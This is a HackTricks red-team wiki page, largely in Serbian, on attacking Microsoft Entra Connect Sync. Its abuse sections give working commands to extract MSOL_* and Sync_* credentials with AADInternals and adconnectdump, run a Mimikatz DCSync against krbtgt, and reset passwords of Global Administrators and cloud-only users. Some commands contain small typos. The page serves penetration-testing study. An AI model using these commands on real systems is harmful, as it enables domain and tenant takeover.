Az - Connect Sync

Reading time: 11 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Prema dokumentaciji: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) je glavna komponenta Microsoft Entra Connect. Ona se brine o svim operacijama vezanim za sinhronizaciju podataka o identitetima između vašeg on-premises okruženja i Microsoft Entra ID.

Sync servis se sastoji iz dve komponente, on-premises Microsoft Entra Connect Sync komponente i servisne strane u Microsoft Entra ID koja se zove Microsoft Entra Connect Sync service.

Da biste ga koristili, potrebno je instalirati Microsoft Entra Connect Sync agent na server unutar vašeg AD okruženja. Ovaj agent će biti taj koji upravlja sinhronizacijom sa AD strane.

Connect Sync je u suštini "stari" Azure način da se synchronize users from AD into Entra ID. Novi preporučeni način je da se koristi Entra Cloud Sync:

Az - Cloud Sync

Generisani Principals

  • Nalog MSOL_<installationID> se automatski kreira u on-prem AD. Ovaj nalog dobija ulogu Directory Synchronization Accounts (vidi dokumentaciju) što znači da ima replication (DCSync) permissions in the on-prem AD.
  • To znači da će svako ko kompromituje ovaj nalog moći da kompromituje on-premise domen.
  • Managed service account ADSyncMSA<id> se kreira u on-prem AD bez posebnih podrazumevanih privilegija.
  • U Entra ID se kreira Service Principal ConnectSyncProvisioning_ConnectSync_<id> sa sertifikatom.

Sinhronizacija lozinki

Password Hash Synchronization

Ova komponenta se takođe može koristiti da sychronize passwords from AD into Entra ID tako da korisnici mogu koristiti svoje AD lozinke za prijavu u Entra ID. Za ovo je potrebno omogućiti password hash synchronization u Microsoft Entra Connect Sync agentu instaliranom na AD serveru.

Prema dokumentaciji: Password hash synchronization je jedan od načina prijave koji se koristi za postizanje hybrid identity. Azure AD Connect sinhronizuje hash, od hasha, korisničke lozinke iz on-premises Active Directory instance u cloud-based Azure AD instancu.

U suštini, svi users i hash of the password hashes se sinhronizuju sa on-prem u Azure AD. Međutim, clear-text passwords ili originalni hashes se ne šalju u Azure AD.

Sinhronizacija hashes se događa na svakih 2 minutes. Međutim, po defaultu, password expiry i account expiry nisu sync u Azure AD. Dakle, korisnik čija je on-prem password is expired (nije promenjena) može nastaviti da access Azure resources koristeći staru lozinku.

Kada on-prem korisnik želi da pristupi Azure resursu, authentication takes place on Azure AD.

note

Po defaultu korisnici iz poznatih privilegovanih grupa kao što su Domain Admins sa atributom adminCount to 1 are not synchronized sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su direktno dodeljeni visokim privilegijama can be synchronized.

Password Writeback

Ova konfiguracija omogućava da se sychronize passwords from Entra ID into AD kada korisnik promeni lozinku u Entra ID. Obratite pažnju da da bi password writeback radio, MSOL_<id> korisniku koji je automatski generisan u AD mora biti dodeljeno više privilegija kako je navedeno u dokumentaciji tako da će moći da modify the passwords of any user in the AD.

Ovo je posebno interesantno za kompromitovanje AD iz kompromitovanog Entra ID jer ćete moći da izmenite lozinku "skoro" bilo kog korisnika.

Domain admins i drugi korisnici koji pripadaju nekim privilegovanim grupama nisu replicirani ako grupa ima adminCount attribute to 1. Ali drugi korisnici kojima su dodeljene visoke privilegije unutar AD bez pripadanja tim grupama mogu imati promenjenu lozinku. Na primer:

  • Korisnici kojima su visoke privilegije dodeljene direktno.
  • Korisnici iz grupe DNSAdmins.
  • Korisnici iz grupe Group Policy Creator Owners koji su kreirali GPO-e i dodelili ih OU-ovima će moći da menjaju GPO-e koje su kreirali.
  • Korisnici iz Cert Publishers Group koji mogu da objavljuju sertifikate u Active Directory.
  • Korisnici iz bilo koje druge grupe sa visokim privilegijama bez adminCount attribute to 1.

Pivoting AD --> Entra ID

Enumerating Connect Sync

Proveri korisnike:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Proveri Connect Sync konfiguraciju (ako postoji):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Pronalaženje lozinki

Lozinke korisnika MSOL_* (i korisnika Sync_* ako je kreiran) su smeštene u SQL serveru na serveru gde je instaliran Entra ID Connect. Administratori mogu izvući lozinke tih privilegovanih korisnika u clear-text.
Baza podataka se nalazi u C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Moguće je izvući konfiguraciju iz jedne od tabela, pri čemu je jedna enkriptovana:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Encrypted configuration je šifrovana pomoću DPAPI i sadrži lozinke korisnika MSOL_* u on-prem AD i lozinku Sync_* u AzureAD. Dakle, kompromitovanjem ovih naloga moguće je privesc na AD i na AzureAD.

Možete pronaći potpun pregled kako su ove kredencijale skladištene i dekriptovane u ovom predavanju.

Zloupotreba MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Prethodni napadi kompromitovali su drugi password da bi se zatim povezali na Entra ID korisnika zvanog Sync_* i potom kompromitovali Entra ID. Međutim, taj korisnik više ne postoji.

Zloupotreba ConnectSyncProvisioning_ConnectSync_

Ova aplikacija je kreirana bez dodeljenih Entra ID ili Azure upravljačkih uloga. Međutim, ima sledeće API dozvole:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Pominje se da SP ove aplikacije i dalje može biti korišćen za izvođenje nekih privilegovanih radnji koristeći nedokumentovani API, ali koliko mi je poznato još nije pronađen PoC.
U svakom slučaju, pošto bi to moglo biti moguće, interesantno bi bilo dalje istražiti kako pronaći sertifikat za prijavu kao ovaj service principal i pokušati ga zloupotrebiti.

This blog post released soon after the change from using the Sync_* user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a service principal can always assign itself new certificates) and then use it to maintain persistence as the SP.

In order to perform these actions, the following tools are published: SharpECUtils.

According to this question, in order to find the certificate, you must run the tool from a process that has stolen the token of the miiserver process.

Zloupotreba Sync_* [DEPRECATED]

warning

Ranije je u Entra ID stvaran korisnik Sync_* sa veoma osetljivim dodeljenim dozvolama, što je omogućavalo izvođenje privilegovanih radnji kao što su menjanje password-a bilo kog korisnika ili dodavanje novog credential-a service principal-u. Međutim, od Jan2025 ovaj korisnik više nije kreiran po defaultu jer se sada koristi Application/SP ConnectSyncProvisioning_ConnectSync_<id>. Ipak, on i dalje može postojati u nekim okruženjima, pa vredi proveriti njegovo prisustvo.

Kompromitujući nalog Sync_* moguće je reset the password bilo kog korisnika (uključujući Global Administrators)

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Takođe je moguće izmeniti lozinke samo cloud korisnika (čak i ako je to neočekivano)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Takođe je moguće dump-ovati lozinku ovog korisnika.

caution

Druga opcija bi bila da se assign privileged permissions service principal-u, što Sync user ima permissions da uradi, i zatim access that service principal kao način privesc.

Seamless SSO

Moguće je koristiti Seamless SSO sa PHS, što je ranjivo na druge zloupotrebe. Pogledajte to u:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • Ako je password writeback omogućen, možete izmeniti lozinku bilo kog korisnika u AD-u koji je sinhronizovan sa Entra ID-om.
  • Ako je groups writeback omogućen, možete dodati korisnike u privileged groups u Entra ID koje su sinhronizovane sa AD-om.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks